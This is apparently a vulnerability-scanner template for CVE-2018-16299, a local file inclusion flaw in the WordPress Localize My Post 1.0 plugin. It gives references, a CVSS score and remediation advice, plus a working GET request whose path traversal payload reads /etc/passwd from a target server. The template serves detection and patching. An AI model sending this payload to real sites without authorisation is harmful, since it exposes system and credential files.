id: CVE-2018-16299

info:
  name: WordPress Localize My Post 1.0 - Local File Inclusion
  author: 0x_Akoko,0x240x23elu
  severity: high
  description: |
    WordPress Localize My Post 1.0 is susceptible to local file inclusion via the ajax/include.php file parameter.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Update to the latest version of WordPress Localize My Post plugin.
  reference:
    - https://www.exploit-db.com/exploits/45439
    - https://packetstormsecurity.com/files/149433/WordPress-Localize-My-Post-1.0-Local-File-Inclusion.html
    - https://github.com/julianburr/wp-plugin-localizemypost/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16299
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-16299
    cwe-id: CWE-22
    epss-score: 0.43722
    epss-percentile: 0.98574
    cpe: cpe:2.3:a:localize_my_post_project:localize_my_post:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: localize_my_post_project
    product: localize_my_post
    framework: wordpress
  tags: cve2018,cve,wordpress,lfi,plugin,wp,edb,packetstorm,localize_my_post_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200f64392a721a566bf1f381225284e6b15e814b6d845410d029a8335d4a4dcf73022100fead4031787f4f975910bdd16784c24deefa038bf16a6b16023f4ebf5eac1c18:922c64590222798bb761d5b6d8e72950